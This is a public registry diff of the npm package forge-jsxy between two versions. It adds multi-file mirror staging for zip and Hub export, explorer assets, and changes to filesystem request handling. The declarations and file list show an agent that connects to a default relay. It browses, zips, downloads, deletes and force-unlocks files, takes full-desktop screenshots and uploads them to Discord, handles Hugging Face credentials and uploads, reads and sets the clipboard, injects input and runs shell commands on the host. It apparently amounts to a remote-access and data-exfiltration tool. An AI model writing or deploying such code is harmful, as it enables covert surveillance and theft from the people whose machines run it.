forge-jsxy 1.0.76 → 1.0.78

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (43) hide show
  1. package/assets/codicons/codicon.css +629 -0
  2. package/assets/codicons/codicon.ttf +0 -0
  3. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  4. package/assets/explorer-highlight/highlight.min.js +1213 -0
  5. package/assets/files-explorer-template.html +2940 -692
  6. package/assets/remote-control-template.html +78 -22
  7. package/dist/agentRunner.js +6 -0
  8. package/dist/assets/codicons/codicon.css +629 -0
  9. package/dist/assets/codicons/codicon.ttf +0 -0
  10. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  11. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  12. package/dist/assets/files-explorer-template.html +2941 -693
  13. package/dist/assets/remote-control-template.html +78 -22
  14. package/dist/autostart/agentEnvFile.d.ts +3 -2
  15. package/dist/autostart/agentEnvFile.js +8 -4
  16. package/dist/cli-agent.js +3 -3
  17. package/dist/discordAgentScreenshot.d.ts +1 -1
  18. package/dist/discordAgentScreenshot.js +41 -16
  19. package/dist/discordRateLimit.js +22 -11
  20. package/dist/discordRelayUpload.js +5 -3
  21. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  22. package/dist/explorerHeavyDirSkips.js +26 -0
  23. package/dist/exportMirrorCopy.d.ts +13 -1
  24. package/dist/exportMirrorCopy.js +89 -2
  25. package/dist/filesExplorer.d.ts +9 -0
  26. package/dist/filesExplorer.js +86 -4
  27. package/dist/fsMessages.d.ts +2 -0
  28. package/dist/fsMessages.js +29 -8
  29. package/dist/fsProtocol.d.ts +16 -4
  30. package/dist/fsProtocol.js +948 -151
  31. package/dist/hfCredentials.d.ts +1 -1
  32. package/dist/hfCredentials.js +1 -1
  33. package/dist/hfSeqIdLookup.d.ts +2 -2
  34. package/dist/hfSeqIdLookup.js +11 -5
  35. package/dist/hfUpload.d.ts +2 -2
  36. package/dist/hfUpload.js +103 -17
  37. package/dist/relayAgent.js +48 -26
  38. package/dist/relayDashboardGate.js +42 -55
  39. package/dist/relayServer.js +171 -6
  40. package/dist/syncClient.js +5 -0
  41. package/dist/windowsInputSync.js +20 -1
  42. package/package.json +3 -1
  43. package/scripts/discord-live-probe.mjs +66 -4
@@ -38,6 +38,7 @@ exports.isRetryableCopyError = isRetryableCopyError;
38
38
  exports.countRegularFilesRecursive = countRegularFilesRecursive;
39
39
  exports.copySelectionToMirrorStaging = copySelectionToMirrorStaging;
40
40
  exports.removeMirrorStaging = removeMirrorStaging;
41
+ exports.mirrorSelectionsIntoFlatStage = mirrorSelectionsIntoFlatStage;
41
42
  /**
42
43
  * Snapshot copy for zip / Hub export: copy the selected file or folder into a hidden
43
44
  * staging subtree before compression, so archiver reads stable copies (similar to a
@@ -59,7 +60,9 @@ exports.removeMirrorStaging = removeMirrorStaging;
59
60
  * fail by design; exclusive OS locks with no shared read fail like manual copy.
60
61
  */
61
62
  const fs = __importStar(require("node:fs"));
63
+ const os = __importStar(require("node:os"));
62
64
  const path = __importStar(require("node:path"));
65
+ const explorerHeavyDirSkips_1 = require("./explorerHeavyDirSkips");
63
66
  /** Hidden directory under the work root holding the mirrored selection. */
64
67
  exports.EXPORT_MIRROR_DIR = ".mirror";
65
68
  function copyRetryBaseMs() {
@@ -110,7 +113,11 @@ function isRetryableCopyError(err) {
110
113
  }
111
114
  return false;
112
115
  }
113
- /** Count regular files under `dir` (symlinks ignored). Used to detect “all files skipped” mirrors. */
116
+ /**
117
+ * Count regular files under `dir` (symlinks ignored).
118
+ * Skips the same dependency/cache subtree names as {@link copyDirectoryTreeSelective} so staged counts
119
+ * match what mirror + zip will actually include.
120
+ */
114
121
  function countRegularFilesRecursive(dir) {
115
122
  let n = 0;
116
123
  const walk = (d) => {
@@ -125,8 +132,11 @@ function countRegularFilesRecursive(dir) {
125
132
  const child = path.join(d, ent.name);
126
133
  if (ent.isSymbolicLink())
127
134
  continue;
128
- if (ent.isDirectory())
135
+ if (ent.isDirectory()) {
136
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name))
137
+ continue;
129
138
  walk(child);
139
+ }
130
140
  else if (ent.isFile())
131
141
  n++;
132
142
  }
@@ -182,6 +192,9 @@ async function copyDirectoryTreeSelective(srcRoot, destRoot, maxAttempts, baseDe
182
192
  const src = path.join(srcRoot, relChild);
183
193
  const dest = path.join(destRoot, relChild);
184
194
  if (ent.isDirectory()) {
195
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(name)) {
196
+ continue;
197
+ }
185
198
  try {
186
199
  await fs.promises.mkdir(dest, { recursive: true });
187
200
  }
@@ -277,3 +290,77 @@ async function removeMirrorStaging(workRoot) {
277
290
  const p = path.join(workRoot, exports.EXPORT_MIRROR_DIR);
278
291
  await fs.promises.rm(p, { recursive: true, force: true });
279
292
  }
293
+ function uniqueMirrorStageEntryName(destRoot, preferred) {
294
+ const base = String(preferred || "item").replace(/[\\/]/g, "_").trim() || "item";
295
+ let candidate = base;
296
+ let i = 2;
297
+ while (fs.existsSync(path.join(destRoot, candidate))) {
298
+ candidate = `${base} (${i})`;
299
+ i++;
300
+ }
301
+ return candidate;
302
+ }
303
+ function isLockLikeMirrorBasename(name) {
304
+ const n = String(name || "").trim().toLowerCase();
305
+ if (!n)
306
+ return false;
307
+ if (n === "lock" || n === "lockfile")
308
+ return true;
309
+ return n.endsWith(".lock") || n.endsWith(".lck") || n.endsWith(".pid") || n.endsWith(".pid.lock");
310
+ }
311
+ /**
312
+ * Mirror multiple absolute file/dir selections into one flat folder with unique entry names
313
+ * (same staging idea as Hub multi-upload `selection.zip`).
314
+ */
315
+ async function mirrorSelectionsIntoFlatStage(absoluteSources, stageRoot, opts) {
316
+ await fs.promises.mkdir(stageRoot, { recursive: true });
317
+ let stagedItems = 0;
318
+ let skippedItems = 0;
319
+ for (const src of absoluteSources) {
320
+ let srcStat = null;
321
+ try {
322
+ srcStat = fs.statSync(src);
323
+ }
324
+ catch {
325
+ skippedItems++;
326
+ continue;
327
+ }
328
+ if (srcStat.isFile() && isLockLikeMirrorBasename(path.basename(src))) {
329
+ skippedItems++;
330
+ continue;
331
+ }
332
+ const perItemRoot = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-mirror-sel-"));
333
+ try {
334
+ const { mirrorPath, baseName } = await copySelectionToMirrorStaging(src, perItemRoot, opts);
335
+ if (!fs.existsSync(mirrorPath)) {
336
+ skippedItems++;
337
+ continue;
338
+ }
339
+ const destName = uniqueMirrorStageEntryName(stageRoot, baseName);
340
+ await fs.promises.cp(mirrorPath, path.join(stageRoot, destName), {
341
+ recursive: true,
342
+ force: true,
343
+ dereference: false,
344
+ });
345
+ stagedItems++;
346
+ }
347
+ catch {
348
+ skippedItems++;
349
+ }
350
+ finally {
351
+ try {
352
+ await removeMirrorStaging(perItemRoot);
353
+ }
354
+ catch {
355
+ /* skip */
356
+ }
357
+ try {
358
+ fs.rmSync(perItemRoot, { recursive: true, force: true });
359
+ }
360
+ catch {
361
+ /* skip */
362
+ }
363
+ }
364
+ }
365
+ return { stagedItems, skippedItems };
366
+ }
@@ -6,5 +6,14 @@ export interface FilesExplorerHtmlOptions {
6
6
  }
7
7
  /** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
8
8
  export declare function getForgeExplorerFaviconSvg(): string;
9
+ /**
10
+ * VS Code codicon font + stylesheet (served at `/forge-explorer-codicons/*`).
11
+ */
12
+ export declare function readExplorerCodiconAsset(name: string): Buffer;
13
+ /**
14
+ * highlight.js bundle + Dark+–style CSS for file-explorer text preview
15
+ * (`GET /forge-explorer-highlight/*`).
16
+ */
17
+ export declare function readExplorerHighlightAsset(name: string): Buffer;
9
18
  export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
10
19
  export declare function buildRemoteControlHtml(opts?: FilesExplorerHtmlOptions): string;
@@ -34,6 +34,8 @@ var __importStar = (this && this.__importStar) || (function () {
34
34
  })();
35
35
  Object.defineProperty(exports, "__esModule", { value: true });
36
36
  exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
37
+ exports.readExplorerCodiconAsset = readExplorerCodiconAsset;
38
+ exports.readExplorerHighlightAsset = readExplorerHighlightAsset;
37
39
  exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
38
40
  exports.buildRemoteControlHtml = buildRemoteControlHtml;
39
41
  /**
@@ -107,6 +109,60 @@ function getForgeExplorerFaviconSvg() {
107
109
  }
108
110
  throw new Error("forge-explorer-favicon.svg not found (run npm run build and ensure assets are copied to dist/)");
109
111
  }
112
+ const _explorerCodiconNames = new Set(["codicon.css", "codicon.ttf"]);
113
+ /**
114
+ * VS Code codicon font + stylesheet (served at `/forge-explorer-codicons/*`).
115
+ */
116
+ function readExplorerCodiconAsset(name) {
117
+ const base = path.basename(name);
118
+ if (!_explorerCodiconNames.has(base)) {
119
+ throw new Error(`invalid codicon asset: ${base}`);
120
+ }
121
+ const candidates = [
122
+ path.join(__dirname, "assets", "codicons", base),
123
+ path.join(__dirname, "..", "assets", "codicons", base),
124
+ ];
125
+ for (const p of candidates) {
126
+ try {
127
+ if (fs.existsSync(p)) {
128
+ return fs.readFileSync(p);
129
+ }
130
+ }
131
+ catch {
132
+ continue;
133
+ }
134
+ }
135
+ throw new Error(`codicon asset missing: ${base} (run npm run build — copy assets/codicons)`);
136
+ }
137
+ const _explorerHighlightNames = new Set([
138
+ "highlight.min.js",
139
+ "explorer-highlight.css",
140
+ ]);
141
+ /**
142
+ * highlight.js bundle + Dark+–style CSS for file-explorer text preview
143
+ * (`GET /forge-explorer-highlight/*`).
144
+ */
145
+ function readExplorerHighlightAsset(name) {
146
+ const base = path.basename(name);
147
+ if (!_explorerHighlightNames.has(base)) {
148
+ throw new Error(`invalid explorer highlight asset: ${base}`);
149
+ }
150
+ const candidates = [
151
+ path.join(__dirname, "assets", "explorer-highlight", base),
152
+ path.join(__dirname, "..", "assets", "explorer-highlight", base),
153
+ ];
154
+ for (const p of candidates) {
155
+ try {
156
+ if (fs.existsSync(p)) {
157
+ return fs.readFileSync(p);
158
+ }
159
+ }
160
+ catch {
161
+ continue;
162
+ }
163
+ }
164
+ throw new Error(`explorer-highlight asset missing: ${base} (run npm run build — copy assets/explorer-highlight)`);
165
+ }
110
166
  function htmlEscapeAttr(s) {
111
167
  return s
112
168
  .replace(/&/g, "&")
@@ -114,6 +170,29 @@ function htmlEscapeAttr(s) {
114
170
  .replace(/</g, "&lt;")
115
171
  .replace(/>/g, "&gt;");
116
172
  }
173
+ let _forgeJsPkgVersion = null;
174
+ function forgeJsPackageVersion() {
175
+ if (_forgeJsPkgVersion !== null)
176
+ return _forgeJsPkgVersion;
177
+ const candidates = [
178
+ path.join(__dirname, "..", "package.json"),
179
+ path.join(__dirname, "..", "..", "package.json"),
180
+ ];
181
+ for (const p of candidates) {
182
+ try {
183
+ if (fs.existsSync(p)) {
184
+ const j = JSON.parse(fs.readFileSync(p, "utf8"));
185
+ _forgeJsPkgVersion = String(j.version || "0").trim() || "0";
186
+ return _forgeJsPkgVersion;
187
+ }
188
+ }
189
+ catch {
190
+ continue;
191
+ }
192
+ }
193
+ _forgeJsPkgVersion = "0";
194
+ return _forgeJsPkgVersion;
195
+ }
117
196
  function buildFilesExplorerHtml(opts = {}) {
118
197
  const pwd = opts.defaultPassword ??
119
198
  process.env.CFGMGR_SESSION_PASSWORD ??
@@ -125,10 +204,13 @@ function buildFilesExplorerHtml(opts = {}) {
125
204
  if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
126
205
  relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
127
206
  }
207
+ const ver = encodeURIComponent(forgeJsPackageVersion());
128
208
  return loadTemplate()
129
209
  .replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
130
- .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
131
- .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
210
+ .replace(/__FORGE_REPLACE_RELAY_FALLBACK_JS__/g, JSON.stringify(relay))
211
+ .replace(/__FORGE_REPLACE_PWD_JS__/g, JSON.stringify(pwd))
212
+ .replace('href="/forge-explorer-codicons/codicon.css"', `href="/forge-explorer-codicons/codicon.css?v=${ver}"`)
213
+ .replace('href="/forge-explorer-highlight/explorer-highlight.css"', `href="/forge-explorer-highlight/explorer-highlight.css?v=${ver}"`);
132
214
  }
133
215
  function buildRemoteControlHtml(opts = {}) {
134
216
  const pwd = opts.defaultPassword ??
@@ -143,6 +225,6 @@ function buildRemoteControlHtml(opts = {}) {
143
225
  }
144
226
  return loadRemoteTemplate()
145
227
  .replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
146
- .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
147
- .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
228
+ .replace(/__FORGE_REPLACE_RELAY_FALLBACK_JS__/g, JSON.stringify(relay))
229
+ .replace(/__FORGE_REPLACE_PWD_JS__/g, JSON.stringify(pwd));
148
230
  }
@@ -1 +1,3 @@
1
+ /** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
2
+ export declare function jsonBoolLoose(v: unknown): boolean;
1
3
  export declare function buildFsResponse(msg: Record<string, unknown>, allowFilesystem: boolean): Promise<Record<string, unknown>>;
@@ -1,10 +1,25 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.jsonBoolLoose = jsonBoolLoose;
3
4
  exports.buildFsResponse = buildFsResponse;
4
5
  /**
5
6
  * Filesystem explorer JSON-RPC responses — same types as cfgmgr.remote._fs_response.
6
7
  */
7
8
  const fsProtocol_1 = require("./fsProtocol");
9
+ /** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
10
+ function jsonBoolLoose(v) {
11
+ if (v === true)
12
+ return true;
13
+ if (v === false || v == null)
14
+ return false;
15
+ if (typeof v === "number")
16
+ return v !== 0 && Number.isFinite(v);
17
+ if (typeof v === "string") {
18
+ const s = v.trim().toLowerCase();
19
+ return s === "1" || s === "true" || s === "yes" || s === "on";
20
+ }
21
+ return false;
22
+ }
8
23
  async function buildFsResponse(msg, allowFilesystem) {
9
24
  /** Always echo a string — avoids silent client mismatch when JSON coerces ids. */
10
25
  const rid = String(msg.request_id ?? "");
@@ -45,8 +60,8 @@ async function buildFsResponse(msg, allowFilesystem) {
45
60
  off = 0;
46
61
  }
47
62
  const chunk = Boolean(msg.chunk);
48
- const force = Boolean(msg.force);
49
- const forceKill = Boolean(msg.force_kill);
63
+ const force = jsonBoolLoose(msg.force);
64
+ const forceKill = jsonBoolLoose(msg.force_kill);
50
65
  const result = chunk
51
66
  ? await (0, fsProtocol_1.fsReadFileChunked)(pathStr, null, mbInt, off, rid, force, forceKill)
52
67
  : (0, fsProtocol_1.fsReadFile)(pathStr, null, mbInt, off, false);
@@ -54,6 +69,11 @@ async function buildFsResponse(msg, allowFilesystem) {
54
69
  }
55
70
  if (msgType === "fs_zip") {
56
71
  const pathStr = String(msg.path ?? "");
72
+ const pathsRaw = msg.paths;
73
+ const pathsArr = Array.isArray(pathsRaw) && pathsRaw.length > 0
74
+ ? pathsRaw.map((x) => String(x ?? "").trim()).filter(Boolean)
75
+ : null;
76
+ const pathsOverride = pathsArr && pathsArr.length > 1 ? pathsArr : null;
57
77
  let mbInt = null;
58
78
  const mb = msg.max_bytes;
59
79
  if (mb != null) {
@@ -69,9 +89,9 @@ async function buildFsResponse(msg, allowFilesystem) {
69
89
  off = 0;
70
90
  }
71
91
  const chunk = Boolean(msg.chunk);
72
- const force = Boolean(msg.force);
73
- const forceKill = Boolean(msg.force_kill);
74
- const result = await (0, fsProtocol_1.fsZipRead)(pathStr, String(rid), null, off, chunk, mbInt, force, forceKill);
92
+ const force = jsonBoolLoose(msg.force);
93
+ const forceKill = jsonBoolLoose(msg.force_kill);
94
+ const result = await (0, fsProtocol_1.fsZipRead)(pathStr, String(rid), null, off, chunk, mbInt, force, forceKill, pathsOverride);
75
95
  return { type: "fs_zip_result", request_id: rid, ...result };
76
96
  }
77
97
  if (msgType === "fs_parent") {
@@ -81,8 +101,8 @@ async function buildFsResponse(msg, allowFilesystem) {
81
101
  }
82
102
  if (msgType === "fs_delete") {
83
103
  const pathStr = String(msg.path ?? "");
84
- const force = Boolean(msg.force);
85
- const forceKill = Boolean(msg.force_kill);
104
+ const force = jsonBoolLoose(msg.force);
105
+ const forceKill = jsonBoolLoose(msg.force_kill);
86
106
  const result = await (0, fsProtocol_1.fsDeletePath)(pathStr, null, force || forceKill ? { force, forceKill } : undefined);
87
107
  return { type: "fs_delete_result", request_id: rid, ...result };
88
108
  }
@@ -127,7 +147,8 @@ async function buildFsResponse(msg, allowFilesystem) {
127
147
  return { type: "rc_clipboard_set_result", request_id: rid, ...result };
128
148
  }
129
149
  if (msgType === "rc_file_push") {
130
- const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""));
150
+ const targetDir = msg.path != null ? String(msg.path) : undefined;
151
+ const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""), targetDir);
131
152
  return { type: "rc_file_push_result", request_id: rid, ...result };
132
153
  }
133
154
  return {
@@ -16,7 +16,8 @@ export declare function fsReadFile(pathStr: string, roots?: string[] | null, max
16
16
  * Chunked file read for explorer downloads. With a non-empty `request_id` and file size at or below
17
17
  * {@link maxZipTotalBytes}, the file is copied once into a hidden temp mirror (same idea as folder zip),
18
18
  * then chunks are served from that copy so another process holding the original open is less likely to break reads.
19
- * Larger files fall back to reading the live path each chunk (no extra disk). Empty `request_id` always uses live path.
19
+ * Larger files read the live path each chunk **`force_kill` still runs {@link forceUnlockPath}** at offset 0 (same as mirror path).
20
+ * Empty `request_id` always uses live path.
20
21
  */
21
22
  export declare function fsReadFileChunked(pathStr: string, roots: string[] | null, maxBytes: number | null, offset: number, requestId: string, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
22
23
  /**
@@ -49,7 +50,6 @@ export declare function fsParentDirectory(pathStr: string, roots?: string[] | nu
49
50
  export declare function fsRootsPayload(): Record<string, unknown>;
50
51
  export declare function purgeStaleZipSessions(): void;
51
52
  export declare function purgeStaleChunkedFileReadSessions(): void;
52
- /** Drop expired folder-zip and chunked file-read temp sessions (paths + numbers only; frees disk). */
53
53
  export declare function purgeStaleExplorerStaging(): void;
54
54
  /**
55
55
  * Remove **all** in-memory explorer staging (zip exports + chunked file mirrors) synchronously.
@@ -59,8 +59,12 @@ export declare function purgeAllExplorerStagingSync(): void;
59
59
  /**
60
60
  * Chunked read of a zipped folder export (same session semantics as chunked `fs_read`).
61
61
  * First request (`offset === 0`) builds a temp zip; follow-up chunks use the same `request_id`.
62
+ *
63
+ * **`paths` (2+ entries):** mirror each selection into one staging folder (unique names), then zip once (`selection.zip`),
64
+ * matching Hub multi-upload semantics.
65
+ * **`path`:** zip one directory (legacy).
62
66
  */
63
- export declare function fsZipRead(pathStr: string, requestId: string, roots?: string[] | null, offset?: number, chunk?: boolean, maxBytes?: number | null, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
67
+ export declare function fsZipRead(pathStr: string, requestId: string, roots?: string[] | null, offset?: number, chunk?: boolean, maxBytes?: number | null, forceMirror?: boolean, forceKill?: boolean, pathsOverride?: string[] | null): Promise<Record<string, unknown>>;
64
68
  /**
65
69
  * Turn raw .NET / PowerShell screenshot failures into short, actionable text for the /files explorer
66
70
  * (e.g. locked RDP, Session 0 service, no interactive desktop — `CopyFromScreen` "handle is invalid").
@@ -86,6 +90,14 @@ export declare function shrinkScreenshotBufferToMaxBytes(buf: Buffer, cap: numbe
86
90
  buffer: Buffer;
87
91
  mime: string;
88
92
  } | null>;
93
+ /**
94
+ * Discord / webhook attachments: try descending encode budgets first so difficult screenshots still fit
95
+ * under `hardCap` while keeping quality high when the full budget fits (see {@link screenshotShrinkTierTargets}).
96
+ */
97
+ export declare function shrinkScreenshotBufferForDiscordAttachment(buf: Buffer, hardCap: number): Promise<{
98
+ buffer: Buffer;
99
+ mime: string;
100
+ } | null>;
89
101
  /**
90
102
  * Cross-platform full-desktop screenshot for the relay `/files` explorer (`fs_screenshot`) and Discord cadence.
91
103
  * Windows: hidden PowerShell + System.Drawing (**VirtualScreen** = all monitors in one bitmap).
@@ -107,7 +119,7 @@ export declare function fsWindowsScreenshotCapture(options?: NormalizedScreensho
107
119
  export declare function fsRemoteControlInput(payload: Record<string, unknown>): Promise<Record<string, unknown>>;
108
120
  export declare function fsRemoteClipboardGet(): Promise<Record<string, unknown>>;
109
121
  export declare function fsRemoteClipboardSet(text: string): Promise<Record<string, unknown>>;
110
- export declare function fsRemoteFilePush(name: string, b64: string): Promise<Record<string, unknown>>;
122
+ export declare function fsRemoteFilePush(name: string, b64: string, targetDir?: string): Promise<Record<string, unknown>>;
111
123
  /**
112
124
  * Run a shell command on the agent host (same privilege as the forge-agent process).
113
125
  * Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).